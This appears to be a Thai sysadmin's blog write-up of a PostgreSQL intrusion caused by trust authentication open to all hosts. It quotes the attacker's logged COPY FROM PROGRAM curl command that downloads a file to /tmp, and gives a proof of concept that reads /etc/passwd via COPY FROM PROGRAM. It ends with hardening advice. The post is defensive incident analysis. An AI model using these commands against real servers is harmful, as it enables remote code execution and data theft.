ปัญหา: รับแจ้งจาก SOC ว่าเครื่องหนึ่งในความดูแล
[Sangfor: Security Incident Notification]
Incident Name:Reverse Shell Attack
Incident Type:System Backdoor
หลังจากตรวจสอบ พบว่า /tmp มีไฟล์แปลก สร้างด้วยยูสเซอร์ postgres เช่น
/tmp/x.txt
ตรวจสอบพบว่า postgresql ติดตั้งจริง บน OS จากนั้น เข้าไปตรวจ postgrsql log file พบว่า มีการใช้คำสั่ง (ในที่นี้ เปลี่ยน URL เพื่อความปลอดภัย)
copy result from program 'curl -fsSL -m180 https://gist.github.com/nagarindkx/f8aa9518037eb598714291da1b2b75da#file-hello-sh -o /tmp/x.txt';
ตรวจสอบ /var/lib/postgresql/data/pg_hba.conf พบว่า
local all all trust
# IPv4 local connections:
host all all 0.0.0.0/0 trust
# IPv6 local connections:
host all all ::1/128 trust
# Allow replication connections from localhost, by a user with the
# replication privilege.
local replication all trust
host replication all 127.0.0.1/32 trust
host replication all ::1/128 trust
host all all all scram-sha-256
แสดงให้เห็นว่า postgres สามารถเข้าถึงได้ โดยไม่ต้องใส่รหัสผ่านเพราะเป็น trust
สาเหตุ:
- เพราะก่อนหน้านี้หลายปี ได้ทดสอบ Apache Hive โดยติดตั้ง PostgreSQL ด้วย และเปิดให้เข้าถึงได้ ซึ่งไม่รัดกุม ต่อมาได้ถอน Apache Hive ออกไป แต่ไม่ได้เอา PostgreSQL ออก
- มีการติดตั้ง curl ไว้ใน OS ด้วย จึงทำให้ COPY statement สามารถเรียกใช้ไฟล์จากภายนอกได้
POC:
ลองใช้งานคำสั่งจาก psql เครื่องอื่น
psql -h x.x.x.x -p 5432 -U postgres -d postgres
ปรากฏว่า เข้ามาใน psql shell ได้
ใช้คำสั่งต่างเช่น
postgres=# copy result from program 'cat /etc/passwd';
COPY 19
postgres=# select * from result;
content
------------------------------------------------------------------------
/var/lib/postgresql/data
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
postgres:x:999:999::/var/lib/postgresql:/bin/bash
และสามารถใช้คำสั่ง curl เพื่อเอาไฟล์จากภายนอกเข้ามาได้เช่นกัน
สิ่งที่ควรตรวจสอบ:
- ใครมี PostgreSQL ให้ตรวจสอบ /var/lib/postgresql/data/pg_hba.conf ว่าเปิดให้เข้าถึงจากภายนอกได้มากเกินไปหรือไม่ และไม่ควรเปิดให้ Trust จากนอกเครื่อง
- ควรมี Firewall ปกป้อง และไม่ใครใช้ default port
- ตรวจสอบการใช้คำสั่ง COPY ไว้บ้าง
- บางที เราก็คิดว่าเครื่องนี้ไม่มี web server น่าจะไม่สามารถเอาไฟล์ขึ้นมาวางได้ แต่มีช่องนี้ ซึ่งเสี่ยงพอ ๆ กันเลย
โชคดีที่คราวนี้ ไม่มีความเสียหายใด เพราะไม่มีข้อมูลใด ๆ ใน PostgreSQL และทาง SOC ตรวจสอบให้อย่างต่อเนื่อง
ขอบคุณครับ
Leave a Reply